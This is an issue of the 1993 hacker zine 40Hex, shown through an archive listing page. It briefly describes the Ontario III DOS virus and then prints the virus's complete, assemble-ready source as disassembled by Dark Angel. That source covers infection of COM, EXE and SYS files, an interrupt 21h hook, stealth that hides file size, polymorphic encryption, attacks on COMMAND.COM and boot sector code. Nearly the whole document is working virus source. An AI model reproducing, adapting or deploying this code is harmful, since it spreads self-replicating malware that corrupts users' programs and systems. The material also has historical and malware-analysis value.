home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-10.zip / 40HEX-10.008 < prev    next >
Text File  |  1993-03-13  |  40KB  |  1,012 lines

  1. 40Hex Issue 10 Volume 3 Number 1                                      File 008
  2.  
  3.         The Ontario III virus was written by one of our YAM friends up in
  4. Canada, Death Angel.  The virus infects COM/EXE files.  Additionally, it
  5. attaches to SYS files yet does not truly infect them.  When the virus is
  6. executed from a SYS file, it goes resident yet it never alters the interrupt
  7. vectors.  Therefore, it is merely taking up space in memory.  The virus
  8. automatically attacks COMSPEC upon receiving control, whether it is in a COM,
  9. EXE, or SYS host file.  However, I suspect that the virus will have trouble
  10. dealing with command interpreters apart from COMMAND.COM, as it makes certain
  11. assumptions, i.e. the end of the file is filled with null characters.  The
  12. virus utilises a simple polymorphic routine, although the decryptor is of a
  13. fixed length.  The polymorphism is therefore of questionable utility.
  14. Additionally, the boot sector is pointless as it is never accessed.  There are
  15. a few additional bugs in the virus which detract from its overall quality.
  16. -------------------------------------------------------------------------------
  17.                 .model  tiny
  18.                 .code
  19. ; Ontario III
  20. ; Disassembly by Dark Angel of Phalcon/Skism
  21. ; Assemble with TASM /m ONTARIO3.ASM
  22.  
  23. ; Virus written by Death Angel of YAM
  24.                 org     0
  25.  
  26. decrypt:
  27. patch1:
  28.                 mov     di,offset endvirus      ; usually: offset enddecrypt
  29. patch2          =       $ - 2
  30. patch3          =       $
  31.                 mov     cx,37E5h
  32. patch4          =       $ - 2
  33. patch5:
  34.                 db      82h, 0C5h, 0D0h         ; add ch,0D0h
  35. patch6          =       $ - 1
  36. patch7:
  37.                 mov     al,0Ah
  38. patch8          =       $ - 1
  39.  
  40. decrypt_loop:
  41.                 add     cs:[di],al
  42. patch9          =       $ - 1
  43. patch10:
  44.                 ror     al,cl
  45. patch11         =       $ - 1
  46. patch12:
  47.                 inc     di
  48. patch13:
  49.                 loop    decrypt_loop
  50. enddecrypt:
  51.  
  52. patch14:
  53.                 db      89h, 0FBh               ; mov bx,di
  54. patch15         =       $ - 1
  55.  
  56.                 sub     bx,offset save4
  57.                 xchg    ax,cx
  58.                 dec     ax
  59.                 cld
  60.                 call    saveorigvectors
  61.                 db      0e9h                    ; jmp
  62. SYSpatch        dw      0                       ; currently jmp to next line
  63.                 int     21h                     ; installation check
  64.                 or      al,ah
  65.                 jz      restorefile
  66.                 push    ds
  67.                 mov     cx,bx
  68.                 mov     di,ds                   ; save current ds
  69.                 mov     ah,13h                  ; get BIOS int 13h handler
  70.                 int     2Fh                     ; to ds:dx and es:bx
  71.  
  72.                 mov     si,ds                   ; does function function?
  73.                 cmp     si,di
  74.                 je      skipit
  75.                 push    ds
  76.                 push    dx
  77.                 mov     ah,13h                  ; restore handler
  78.                 int     2Fh
  79.  
  80.  
  81.                 mov     bx,cx                   ; but save its address too
  82.                 pop     word ptr cs:[bx+storeint13_1]
  83.                 pop     word ptr cs:[bx+storeint13_2]
  84. skipit:
  85.                 xor     di,di
  86.                 mov     cx,es
  87.                 dec     cx
  88.                 mov     ds,cx                   ; get MCB of current program
  89.                 sub     word ptr [di+3],140h    ; decrease size by 5K
  90.                 mov     ax,[di+12h]             ; get high memory from PSP
  91.                 sub     ax,140h                 ; decrease size by 5K
  92.                 mov     [di+12h],ax             ; replace it
  93.                 mov     es,ax                   ; es->high memory segment
  94.                 sub     ax,1000h
  95.                 mov     word ptr cs:[bx+patchsegment],ax
  96.                 push    cs
  97.                 pop     ds
  98.                 mov     si,bx
  99.                 mov     cx,offset save4
  100.                 rep     movsb
  101.                 mov     ds,cx
  102.                 cli
  103.                 mov     word ptr ds:21h*4,offset int21 ; set int 21h handler
  104.                 mov     ds:21h*4+2,es           ; to virus's
  105.                 sti
  106.                 mov     ax,4BFFh                ; infect COMSPEC
  107.                 push    bx
  108.                 int     21h
  109.                 pop     bx
  110.                 pop     ds
  111.                 push    ds
  112.                 pop     es
  113. restorefile:
  114.                 lea     si,[bx+offset save4]
  115.                 mov     di,100h
  116.                 cmp     bx,di
  117.                 jb      restoreEXE
  118.                 push    di
  119.                 movsw
  120.                 movsw
  121.                 retn
  122. restoreEXE:
  123.                 mov     ax,es                   ; get start segment
  124.                 add     ax,10h                  ; adjust for PSP
  125.                 add     cs:[si+2],ax            ; relocate CS
  126.                 add     cs:[si+4],ax            ; relocate SS
  127.                 cli
  128.                 mov     sp,cs:[si+6]            ; restore stack
  129.                 mov     ss,cs:[si+4]
  130.                 sti
  131.                 jmp     dword ptr cs:[si]
  132.  
  133. int21instcheck:
  134.                 inc     ax
  135.                 iret
  136.  
  137. int21:
  138.                 cmp     ax,0FFFFh               ; installation check?
  139.                 je      int21instcheck
  140.                 cmp     ah,4Bh                  ; execute?
  141.                 je      execute
  142.                 cmp     ah,11h                  ; FCB find first?
  143.                 je      findfirstnext
  144.                 cmp     ah,12h                  ; FCB find next?
  145.                 je      findfirstnext
  146.                 cmp     ax,3D00h                ; open file read only?
  147.                 jne     int21exit
  148.                 call    handleopen
  149. int21exit:
  150.                 db      0EAh                    ; jmp far ptr
  151. oldint21        dd      0
  152.  
  153. findfirstnext:                                  ; standard stealth routine
  154.                 push    bp
  155.                 mov     bp,sp
  156.                 cmp     word ptr [bp+4],1234h
  157. patchsegment    =       $ - 2
  158.                 pop     bp
  159.                 jb      int21exit
  160.                 call    callint21               ; do findfirst/next
  161.                 call    pushall
  162.                 mov     ah,2Fh                  ; Get DTA
  163.                 call    callint21
  164.                 cmp     byte ptr es:[bx],0FFh   ; extended FCB?
  165.                 je      findfirstnextnotextendedFCB
  166.                 sub     bx,7                    ; convert to standard
  167. findfirstnextnotextendedFCB:
  168.                 mov     al,es:[bx+1Eh]          ; get seconds counter
  169.                 and     al,1Fh                  ; check if 62 seconds
  170.                 cmp     al,1Fh                  ; (infection marker)
  171.                 jne     findfirstnextexit       ; exit if not
  172.                 mov     dx,es:[bx+26h]          ; get file size
  173.                 mov     ax,es:[bx+24h]
  174.                 sub     ax,viruslength          ; decrease by virus
  175.                 sbb     dx,0                    ; size
  176.                 or      dx,dx
  177.                 jc      findfirstnextexit
  178.                 mov     es:[bx+26h],dx          ; replace file size
  179.                 mov     es:[bx+24h],ax          ; with "stealthed" one
  180. findfirstnextexit:
  181.                 call    popall
  182.                 iret
  183.  
  184. execute:
  185.                 mov     byte ptr cs:infectSYS,0
  186.                 cmp     al,1                    ; load/don't execute
  187.                 je      load_noexecute
  188.                 cmp     al,0FFh                 ; called by virus
  189.                 je      infectCOMSPEC
  190.                 call    infectDSDX
  191.                 jmp     short int21exit
  192.  
  193. infectCOMMANDCOM:
  194.                 mov     byte ptr cs:infectSYS,0
  195.                 push    dx
  196.                 push    ds
  197.                 mov     dx,offset command_com
  198.                 push    cs
  199.                 pop     ds
  200.                 mov     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
  201.                 call    infectDSDX
  202.                 pop     ds
  203.                 pop     dx
  204.                 iret
  205.  
  206. infectCOMSPEC:
  207.                 mov     ah,51h                  ; Get current PSP
  208.                 call    callint21
  209.                 mov     es,bx
  210.                 mov     ds,es:[2Ch]             ; environment block
  211.                 xor     si,si
  212.                 push    cs
  213.                 pop     es
  214. infectCOMSPECfindcomspec:
  215.                 mov     di,offset comspec       ; is 'COMSPEC=' the first
  216.                 mov     cx,4                    ; entry in environment?
  217.                 repe    cmpsw                   ; (should be)
  218.                 jcxz    infectCOMSPECnoenvironment ; otherwise, quit
  219. infectCOMSPECfindend:
  220.                 lodsb                           ; search for end of string
  221.                 or      al,al
  222.                 jnz     infectCOMSPECfindend
  223.                 cmp     byte ptr [si],0         ; found it?
  224.                 jne     infectCOMSPECfindcomspec; nope, try again
  225.                 jmp     short infectCOMMANDCOM  ; otherwise, infect
  226. infectCOMSPECnoenvironment:
  227.                 mov     dx,si
  228.                 mov     byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
  229.                 call    infectDSDX              ; but are we really?  Maybe
  230.                 iret                            ; it's 4DOS.  This is a bug.
  231. load_noexecute:
  232.                 push    es                      ; save parameter block
  233.                 push    bx
  234.                 call    callint21               ; prechain
  235.                 pop     bx
  236.                 pop     es
  237.                 call    pushall
  238.                 jnc     load_noexecute_ok       ; continue if no error
  239.                 jmp     load_noexecute_exit
  240. load_noexecute_ok:
  241.                 xor     cx,cx
  242.                 lds     si,dword ptr es:[bx+12h]; get entry point on return
  243.                 push    ds
  244.                 push    si
  245.                 mov     di,100h
  246.                 cmp     si,di
  247.                 jl      loading_EXE
  248.                 ja      load_noexecute_quit
  249. ; debugger active
  250.                 lodsb
  251.                 cmp     al,0E9h                 ; check if infected
  252.                 jne     load_noexecute_quit
  253.                 lodsw
  254.                 push    ax                      ; save jmp location
  255.                 lodsb
  256.                 cmp     al,'O'                  ; check for infection marker
  257.                 pop     si                      ; get jmp location
  258.                 jnz     load_noexecute_quit
  259.                 add     si,103h                 ; convert to file offset
  260.                 inc     cx
  261.                 inc     cx
  262.                 pop     ax
  263.                 push    si
  264.                 push    ds
  265.                 pop     es
  266.                 jmp     short check_infection
  267. loading_EXE:
  268.                 lea     di,[bx+0Eh]             ; check SS:SP on return
  269.                 cmp     word ptr es:[di],9FFh   ; infected?
  270.                 jne     load_noexecute_quit
  271. check_infection:
  272.                 lodsb
  273.                 cmp     al,0BBh                 ; possibility 1
  274.                 je      infected_checked1
  275.                 cmp     al,0BEh                 ; possibility 2
  276.                 je      infected_checked1
  277.                 cmp     al,0BFh                 ; possibility 3
  278.                 jne     load_noexecute_quit
  279. infected_checked1:
  280.                 lodsw                           ; get starting offset
  281.                 push    ax                      ; to decrypt
  282.                 lodsb                           ; get next byte
  283.                 cmp     al,0B9h                 ; check for infection
  284.                 lodsw
  285.                 pop     si                      ; offset to decrypt
  286.                 jnz     load_noexecute_quit
  287.                 cmp     ah,7                    ; check if infected
  288.                 je      infected_checked2
  289.                 cmp     al,0E5h                 ; ditto
  290.                 jne     load_noexecute_quit
  291. infected_checked2:
  292.                 add     si,save4 - enddecrypt
  293.                 jcxz    disinfectEXE
  294.                 rep     movsw
  295.                 jmp     short finish_disinfection
  296. disinfectEXE:
  297.                 mov     ah,51h                  ; Get current PSP
  298.                 call    callint21
  299.                 add     bx,10h                  ; go to file starting CS
  300.                 mov     ax,[si+6]
  301.                 dec     ax
  302.                 dec     ax
  303.                 stosw
  304.                 mov     ax,[si+4]
  305.                 add     ax,bx
  306.                 stosw
  307.                 movsw
  308.                 lodsw
  309.                 add     ax,bx
  310.                 stosw
  311. finish_disinfection:
  312.                 pop     di
  313.                 pop     es
  314.                 xchg    ax,cx
  315.                 mov     cx,viruslength
  316.                 rep     stosb
  317.                 jmp     short load_noexecute_exit
  318. load_noexecute_quit:
  319.                 pop     ax
  320.                 pop     ax
  321. load_noexecute_exit:
  322.                 call    popall
  323.                 retf    2
  324.  
  325.  
  326. handleopen:
  327.                 call    pushall
  328.                 mov     si,dx                   ; find extension of
  329. handleopenscanloop:                             ; ASCIIZ string
  330.                 lodsb
  331.                 or      al,al                   ; found end of screen?
  332.                 jz      handleopenexit          ; yup, no extension -- exit
  333.                 cmp     al,'.'                  ; extension found?
  334.                 jne     handleopenscanloop
  335.                 mov     di,offset validextensions - 3
  336.                 push    cs
  337.                 pop     es
  338.                 mov     cx,4
  339.                 nop
  340.  
  341. scanvalidextension:
  342.                 push    cx
  343.                 push    si
  344.                 mov     cl,3
  345.                 add     di,cx
  346.                 push    di
  347.  
  348. check_extension:
  349.                 lodsb
  350.                 and     al,5Fh                  ; Capitalise
  351.                 cmp     al,es:[di]              ; do they compare ok?
  352.                 jne     extension_no_match      ; nope, try next one
  353.                 inc     di
  354.                 loop    check_extension
  355.  
  356.                 cmp     al,'S'                  ; SYS file?
  357.                 jne     opennotSYS
  358.                 mov     byte ptr cs:infectSYS,0FFh ; infecting SYS file
  359. opennotSYS:
  360.                 call    infectDSDX
  361.                 add     sp,6
  362.                 jmp     short handleopenexit
  363. extension_no_match:
  364.                 pop     di
  365.                 pop     si
  366.                 pop     cx
  367.                 loop    scanvalidextension
  368.  
  369. handleopenexit:
  370.                 call    popall
  371.                 retn
  372.  
  373. infectDSDX:
  374.                 call    pushall
  375.                 call    replaceint13and24
  376.                 push    dx
  377.                 push    ds
  378.                 mov     ax,4300h                ; get attributes
  379.                 call    callint21
  380.                 push    cx
  381.                 pushf
  382.                 jc      go_restoreattribs
  383.                 push    cx
  384.                 and     cl,1                    ; check if read only
  385.                 cmp     cl,1
  386.                 jne     infectDSDXnoclearattributes
  387.                 xor     cx,cx                   ; clear if so
  388.                 mov     ax,4301h
  389.                 call    callint21
  390. infectDSDXnoclearattributes:
  391.                 pop     cx
  392.                 and     cl,4
  393.                 cmp     cl,4
  394.                 je      go_restoreattribs
  395.                 mov     ax,3D02h                ; open file read/write
  396.                 call    callint21
  397.                 jnc     infectDSDXopenOK        ; continue if no error
  398. go_restoreattribs:
  399.                 jmp     infectDSDXrestoreattributes
  400. infectDSDXopenOK:
  401.                 xchg    ax,bx                   ; handle to bx
  402.                 push    cs
  403.                 push    cs
  404.                 pop     ds
  405.                 pop     es
  406.                 mov     word ptr ds:SYSpatch,0
  407.                 mov     ax,5700h                ; save file time/date
  408.                 call    callint21
  409.                 push    dx
  410.                 push    cx
  411.                 and     cl,1Fh                  ; check if infected
  412.                 cmp     cl,1Fh                  ; (seconds == 62)
  413.                 je      infectDSDXerror
  414.                 mov     dx,offset readbuffer    ; read header from
  415.                 mov     cx,1Ch                  ; potential carrier
  416.                 mov     ah,3Fh                  ; file to the
  417.                 call    callint21               ; buffer
  418.                 jnc     infectDSDXreadOK        ; continue if no error
  419. infectDSDXerror:
  420.                 stc                             ; mark error
  421.                 jmp     infectDSDXclose         ; and exit
  422. infectDSDXreadOK:
  423.                 cmp     ax,cx                   ; read 1ch bytes?
  424.                 jne     infectDSDXerror         ; exit if not
  425.                 xor     dx,dx
  426.                 mov     cx,dx
  427.                 mov     ax,4202h                ; go to end of file
  428.                 call    callint21
  429.                 or      dx,dx
  430.                 jnz     infectDSDXfilelargeenough
  431.                 cmp     ax,0A01h                ; check if too small
  432.                 jb      infectDSDXerror
  433. infectDSDXfilelargeenough:
  434.                 cmp     dl,5
  435.                 ja      infectDSDXerror
  436.                 cmp     word ptr ds:readbuffer,'ZM'     ; EXE?
  437.                 je      infectDSDXskipcheck
  438.                 cmp     word ptr ds:readbuffer,'MZ'     ; EXE?
  439. infectDSDXskipcheck:
  440.                 je      infectDSDXcheckEXE
  441.                 cmp     byte ptr ds:infectSYS,0FFh      ; infecting SYS file?
  442.                 jne     infectDSDXcheckCOM
  443.                 cmp     word ptr ds:readbuffer,0FFFFh   ; check if SYS
  444.                 jne     infectDSDXerror                 ; file
  445.                 cmp     word ptr ds:readbuffer+2,0FFFFh
  446. isanoverlay:
  447.                 jne     infectDSDXerror
  448.                 or      dx,dx
  449.                 jnz     infectDSDXerror
  450.                 push    ax                      ; save file size
  451.                 mov     di,offset save4
  452.                 mov     ax,5657h                ; push di, push si
  453.                 stosw
  454.                 mov     ax,0E953h               ; push bx, jmp decrypt
  455.                 stosw
  456.                 mov     ax,offset decrypt - (offset save4 + 6)
  457.                 stosw
  458.                 mov     ax,word ptr ds:readbuffer+6 ; get strategy start point
  459.                 stosw
  460.                 pop     ax                      ; get file size
  461.                 push    ax
  462.                 add     ax,offset save4
  463.                 mov     word ptr ds:readbuffer+6,ax
  464.                 mov     word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
  465.                 mov     byte ptr ds:decrypt_loop,36h    ; replace with SS:
  466.                 pop     ax
  467.                 add     ax,offset enddecrypt
  468.                 jmp     short go_infectDSDXcontinue
  469. infectDSDXcheckCOM:
  470.                 cmp     byte ptr ds:readbuffer+3,'O'; check if already infected
  471. jmp_infectDSDXerror:
  472.                 je      infectDSDXerror
  473.                 cmp     byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
  474.                 je      dontdoslackspace
  475.                 sub     ax,viruslength          ; infect slack space of
  476.                 xchg    ax,dx                   ; command.com
  477.                 xor     cx,cx
  478.                 mov     ax,4200h
  479.                 call    callint21
  480. dontdoslackspace:
  481.                 mov     si,offset readbuffer
  482.                 mov     di,offset save4
  483.                 movsw
  484.                 movsw
  485.                 sub     ax,3                         ; convert size->jmp dest
  486.                 mov     byte ptr ds:readbuffer,0E9h  ; encode JMP
  487.                 mov     word ptr ds:readbuffer+1,ax  ; and destination
  488.                 mov     byte ptr ds:readbuffer+3,'O' ; mark infected
  489.                 add     ax,116h
  490. go_infectDSDXcontinue:
  491.                 jmp     short infectDSDXcontinue
  492. infectDSDXcheckEXE:
  493.                 cmp     word ptr ds:readbuffer+10h,0A01h ; already infected?
  494.                 je      jmp_infectDSDXerror
  495.                 cmp     word ptr ds:readbuffer+1Ah,0
  496.                 jne     isanoverlay             ; exit if it's an overlay
  497.  
  498.                 push    dx
  499.                 push    ax
  500.                 mov     cl,4
  501.                 ror     dx,cl
  502.                 shr     ax,cl
  503.                 add     ax,dx                           ; ax:dx = file size
  504.                 sub     ax,word ptr ds:readbuffer+8     ; subtract header size
  505.                 mov     si,offset readbuffer+14h
  506.                 mov     di,offset origCSIP
  507.                 movsw                           ; save initial CS:IP
  508.                 movsw
  509.                 mov     si,offset readbuffer+0Eh
  510.                 movsw                           ; save initial SS:SP
  511.                 movsw
  512.                 mov     word ptr ds:readbuffer+16h,ax    ; set initial CS
  513.                 mov     word ptr ds:readbuffer+0Eh,ax    ; set initial SS
  514.                 mov     word ptr ds:readbuffer+10h,0A01h ; set initial SP
  515.                 pop     ax
  516.                 pop     dx
  517.                 push    ax
  518.                 add     ax,0A01h
  519.  
  520.                 ; adc dx,0 works just as well
  521.                 jnc     infectEXEnocarry
  522.                 inc     dx
  523. infectEXEnocarry:
  524.                 mov     cx,200h                 ; take image size
  525.                 div     cx
  526.                 ; The next line is not entirely corrrect.  The image size
  527.                 ; div 512 is rounded up.  Therefore, DOS will find this number
  528.                 ; to be off by 512d bytes
  529.                 mov     word ptr ds:readbuffer+4,ax     ; image size div 512
  530.                 mov     word ptr ds:readbuffer+2,dx     ; image size mod 512
  531.                 pop     ax
  532.                 and     ax,0Fh
  533.                 mov     word ptr ds:readbuffer+14h,ax   ; set initial IP
  534.                 add     ax,offset enddecrypt
  535. infectDSDXcontinue:
  536.                 mov     word ptr ds:patch2,ax   ; patch start area
  537.                 push    bx                      ; save file handle
  538.                 xor     byte ptr ds:decrypt_loop,18h    ; swap SS: & CS:
  539.                 call    encrypt                 ; encrypt virus to buffer
  540.                 pop     bx                      ; restore file handle
  541.                 mov     ah,40h                  ; Concatenate encrypted
  542.                 call    callint21               ; virus
  543.                 jc      infectDSDXclose         ; exit on error
  544.                 xor     dx,dx
  545.                 mov     cx,dx
  546.                 mov     ax,4200h                ; go to start of file
  547.                 call    callint21
  548.                 jc      infectDSDXclose
  549.                 mov     dx,offset readbuffer
  550.                 mov     cx,1Ch
  551.                 mov     ah,40h                  ; Write new header
  552.                 call    callint21
  553. infectDSDXclose:
  554.                 pop     cx
  555.                 pop     dx
  556.                 jc      infectDSDXnoaltertime
  557.                 cmp     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
  558.                 je      infectDSDXnoaltertime
  559.                 or      cl,1Fh                  ; set time to 62 seconds
  560. infectDSDXnoaltertime:
  561.                 mov     ax,5701h                ; restore file time/date
  562.                 call    callint21
  563.                 mov     ah,3Eh                  ; Close file
  564.                 call    callint21
  565. infectDSDXrestoreattributes:
  566.                 mov     byte ptr cs:infCOMMAND,0
  567.                 mov     byte ptr cs:infectSYS,0
  568.                 popf
  569.                 pop     cx
  570.                 pop     ds
  571.                 pop     dx
  572.                 jc      infectDSDXexit
  573.                 mov     ax,4301h                ; restore file attributes
  574.                 call    callint21
  575. infectDSDXexit:
  576.                 call    restoreint13and24
  577.                 call    popall
  578.                 retn
  579.  
  580. pushall:
  581.                 push    bp
  582.                 mov     bp,sp
  583.                 push    bx
  584.                 push    cx
  585.                 push    dx
  586.                 push    si
  587.                 push    di
  588.                 push    ds
  589.                 push    es
  590.                 pushf
  591.                 xchg    ax,[bp+2]
  592.                 push    ax
  593.                 mov     ax,[bp+2]
  594.                 retn
  595.  
  596. popall:
  597.                 pop     ax
  598.                 xchg    ax,[bp+2]
  599.                 popf
  600.                 pop     es
  601.                 pop     ds
  602.                 pop     di
  603.                 pop     si
  604.                 pop     dx
  605.                 pop     cx
  606.                 pop     bx
  607.                 pop     bp
  608.                 retn
  609.  
  610. replaceint13and24:
  611.                 push    ds
  612.                 xor     ax,ax
  613.                 mov     ds,ax
  614.                 mov     si,13h*4
  615.                 lodsw
  616.                 mov     word ptr cs:origint13_1,ax
  617.                 lodsw
  618.                 mov     word ptr cs:origint13_2,ax
  619.                 mov     si,24h*4
  620.                 lodsw
  621.                 mov     word ptr cs:origint24_1,ax
  622.                 lodsw
  623.                 mov     word ptr cs:origint24_2,ax
  624.                 mov     word ptr ds:13h*4,1234h
  625. storeint13_1    =       $ - 2
  626.                 mov     word ptr ds:13h*4+2,1234h
  627. storeint13_2    =       $ - 2
  628.                 mov     word ptr ds:24h*4,offset int24 ; replace int 24 handler
  629.                 mov     ds:24h*4+2,cs
  630.                 pop     ds
  631.                 retn
  632.  
  633. restoreint13and24:
  634.                 xor     ax,ax
  635.                 mov     ds,ax
  636.                 mov     word ptr ds:13h*4,1234h
  637. origint13_1     =       $ - 2
  638.                 mov     word ptr ds:13h*4+2,1234h
  639. origint13_2     =       $ - 2
  640.                 mov     word ptr ds:24h*4,1234h
  641. origint24_1     =       $ - 2
  642.                 mov     word ptr ds:24h*4+2,1234h
  643. origint24_2     =       $ - 2
  644.                 retn
  645.  
  646. int24:
  647.                 xor     al,al
  648.                 iret
  649.  
  650. encrypt:
  651.                 mov     di,offset patch4
  652.                 mov     si,di
  653.                 mov     word ptr [si],offset save4 - offset enddecrypt
  654.                 xor     bx,bx
  655.                 call    random
  656.                 jz      encrypt1
  657.                 add     bl,4
  658.                 inc     di
  659. encrypt1:
  660.                 call    random
  661.                 in      al,40h                  ; get random #
  662.                 mov     bh,al
  663.                 jz      encrypt2
  664.                 add     [di],al                 ; alter amount to encrypt
  665.                 add     bl,28h
  666.                 jmp     short encrypt3
  667. encrypt2:
  668.                 sub     [di],al                 ; alter amount to encrypt
  669. encrypt3:
  670.                 add     bl,0C1h
  671.                 mov     [si+3],bx
  672.                 call    random
  673.                 jz      encrypt4
  674.                 xor     byte ptr [si+2],2       ; flip betwen add/sub
  675. encrypt4:
  676.                 in      ax,40h                  ; get random number != 0
  677.                 or      ax,ax
  678.                 jz      encrypt4
  679.                 mov     bx,3                    ; first choose one of
  680.                 xor     dx,dx                   ; three possible registers
  681.                 div     bx
  682.                 xchg    ax,bx
  683.                 inc     ax                      ; ax = 4
  684.                 mul     dx                      ; convert to offset in
  685.                 xchg    ax,bx                   ; table
  686.                 lea     si,[bx+offset table1]
  687.                 lodsb
  688.                 mov     byte ptr ds:patch1,al
  689.                 lodsb
  690.                 mov     byte ptr ds:patch9,al
  691.                 lodsb
  692.                 mov     byte ptr ds:patch12,al
  693.                 lodsb
  694.                 mov     byte ptr ds:patch15,al
  695.                 call    random
  696.                 jz      encrypt5
  697.                 xor     byte ptr ds:patch13,2 ; loop/loopnz
  698. encrypt5:
  699.                 in      ax,40h                  ; get random number
  700.                 mov     byte ptr ds:patch8,ah
  701.                 and     ax,0Fh
  702.                 xchg    ax,bx
  703.                 shl     bx,1
  704.                 mov     ax,[bx+offset table2]
  705.                 mov     word ptr ds:patch10,ax
  706.                 xor     si,si
  707.                 mov     di,offset encryptbuffer ; copy virus to
  708.                 mov     cx,endvirus - decrypt   ; temporary buffer
  709.                 push    cx                      ; for encryption
  710.                 cld
  711.                 rep     movsb
  712.                 mov     bx,offset enddecrypt
  713.                 push    word ptr [bx]           ; save it
  714.                 mov     byte ptr [bx],0C3h      ; put retn in its place
  715.                 push    bx
  716.                 xor     byte ptr [bx-7],28h     ; sub/add
  717.                 push    word ptr ds:decrypt_loop
  718.                 mov     byte ptr [bx-8],2Eh     ; CS:
  719.                 mov     dx,offset encryptbuffer
  720.                 add     bx,dx
  721.                 mov     word ptr ds:patch2,bx
  722.                 call    decrypt
  723.                 pop     word ptr ds:decrypt_loop
  724.                 pop     bx
  725.                 pop     word ptr [bx]
  726.                 pop     cx
  727.                 retn
  728.  
  729.  
  730. random: ; 1/2 chance of zero flag set
  731.                 in      al,40h
  732.                 and     al,1
  733.                 cmp     al,1
  734.                 retn
  735.  
  736.  
  737. saveorigvectors:
  738.                 push    ds
  739.                 push    ax
  740.                 xor     ax,ax
  741.                 mov     ds,ax
  742.                 mov     ax,ds:13h*4
  743.                 mov     word ptr cs:[bx+storeint13_1],ax
  744.                 mov     ax,ds:13h*4+2
  745.                 mov     word ptr cs:[bx+storeint13_2],ax
  746.                 mov     ax,ds:21h*4
  747.                 mov     word ptr cs:[bx+offset oldint21],ax
  748.                 mov     ax,ds:21h*4+2
  749.                 mov     word ptr cs:[bx+offset oldint21+2],ax
  750.                 pop     ax
  751.                 pop     ds
  752.                 retn
  753.  
  754. strategy:
  755.                 mov     word ptr cs:[bx+doffset],bx ; save delta offset
  756.                 pop     bx
  757.                 pop     di
  758.                 pop     si
  759.                 call    pushall
  760.                 push    cs
  761.                 pop     ds
  762.                 mov     bx,1234h                ; restore delta offset
  763. doffset         =       $ - 2
  764.                 db      8bh, 87h                ; mov ax,ds:[save4+6]
  765.                 dw      offset save4 + 6        ; get old strategy entry point
  766.                 mov     word ptr ds:[6],ax      ; and restore to file header
  767.                 int     12h                     ; Get memory size in K
  768.                 sub     ax,5                    ; decrease by 5 K
  769.                 mov     cl,6                    ; convert to paragraphs
  770.                 shl     ax,cl
  771.                 mov     es,ax
  772.                 mov     word ptr ds:[bx+himemsegment],ax
  773.                 cmp     byte ptr es:[3],0B9h    ; check if already installed
  774.                 je      strategyexit
  775.                 mov     si,bx                   ; copy to high memory
  776.                 xor     di,di
  777.                 mov     cx,viruslength
  778.                 rep     movsb
  779.                 pushf
  780.                 db      09Ah    ; call far ptr
  781.                 dw      infectCOMMANDCOM
  782. himemsegment    dw      0
  783.  
  784. strategyexit:
  785.                 call    popall
  786.                 jmp     word ptr cs:[6]         ; go to original strategy
  787.  
  788. table1          db      0BEh, 04h, 46h,0F3h ; si
  789.                 db      0BFh, 05h, 47h,0FBh ; di
  790.                 db      0BBh, 07h, 43h,0DBh ; bx
  791.  
  792. table2:         inc     al
  793.                 dec     al
  794.                 inc     ax
  795.                 inc     ax
  796.                 dec     ax
  797.                 dec     ax
  798.                 add     al,cl
  799.                 sub     al,cl
  800.                 xor     al,cl
  801.                 xor     al,ch
  802.                 not     al
  803.                 neg     al
  804.                 ror     al,1
  805.                 rol     al,1
  806.                 ror     al,cl
  807.                 rol     al,cl
  808.                 nop
  809.                 nop
  810.                 add     al,ch
  811.  
  812. comspec         db      'COMSPEC='
  813. command_com     db      '\COMMAND.COM',0
  814.  
  815. validextensions db      'COMEXEOVLSYS'
  816.  
  817. bootsector:     ; offset 600h in the virus
  818.                 jmp     short bootsectorentry
  819.                 nop
  820. bootparms       db      3Bh dup (0)
  821.  
  822. bootsectorentry:
  823.                 xor     ax,ax
  824.                 mov     ds,ax
  825.                 cli
  826.                 mov     ss,ax
  827.                 mov     sp,7C00h
  828.                 sti
  829.                 mov     ax,ds:13h*4             ; get int 13h handler
  830.                 mov     word ptr ds:[7C00h+oldint13-bootsector],ax
  831.                 mov     ax,ds:13h*4+2           ; and save it
  832.                 mov     word ptr ds:[7C00h+oldint13+2-bootsector],ax
  833.                 mov     ax,ds:[413h]            ; get total memory
  834.                 sub     ax,2                    ; reduce by 2K
  835.                 mov     ds:[413h],ax            ; replace memory size
  836.                 mov     cl,6
  837.                 shl     ax,cl                   ; convert to paragraphs
  838.                 sub     ax,60h                  ; go to boot block start
  839.                 mov     es,ax
  840.                 mov     si,sp
  841.                 mov     di,offset bootsector
  842.                 mov     cx,100h
  843.                 rep     movsw
  844.                 mov     dx,offset highentry
  845.                 push    es
  846.                 push    dx
  847.                 retf
  848. highentry:
  849.                 xor     ax,ax                   ; reset disk
  850.                 and     dl,al
  851.                 int     13h
  852.                 push    ds
  853.                 push    es
  854.                 pop     ds
  855.                 pop     es
  856.                 mov     bx,sp                   ; read to 0:7C00h
  857.                 mov     dx,drivehead            ; find where original boot
  858.                 mov     cx,sectortrack          ; block stored and then
  859.                 mov     ax,201h                 ; read original boot
  860.                 int     13h                     ; sector
  861.                 jc      $                       ; halt on error
  862.                 xor     ax,ax                   ; else chain to original
  863.                 mov     ds,ax                   ; boot sector
  864.                 mov     word ptr ds:13h*4,offset int13
  865.                 mov     ds:13h*4+2,cs           ; replace int 13h handler
  866.                 push    es
  867.                 push    bx
  868.                 retf
  869.  
  870. int13:
  871.                 push    bp
  872.                 mov     bp,sp
  873.                 push    ds
  874.                 push    es
  875.                 push    si
  876.                 push    di
  877.                 push    dx
  878.                 push    cx
  879.                 push    bx
  880.                 push    ax
  881.                 pushf
  882.                 xor     bx,bx
  883.                 mov     ds,bx
  884.                 test    byte ptr ds:[43Fh],1    ; A: spinning?
  885.                 jnz     exitint13               ; exit if so
  886.                 or      dl,dl                   ; default drive?
  887.                 jnz     exitint13               ; exit if not
  888.                 cmp     ah,2                    ; read/write/verify?
  889.                 jb      exitint13
  890.                 cmp     ah,4
  891.                 jbe     trapint13
  892. exitint13:
  893.                 popf
  894.                 pop     ax
  895.                 pop     bx
  896.                 pop     cx
  897.                 pop     dx
  898.                 pop     di
  899.                 pop     si
  900.                 pop     es
  901.                 pop     ds
  902.                 pop     bp
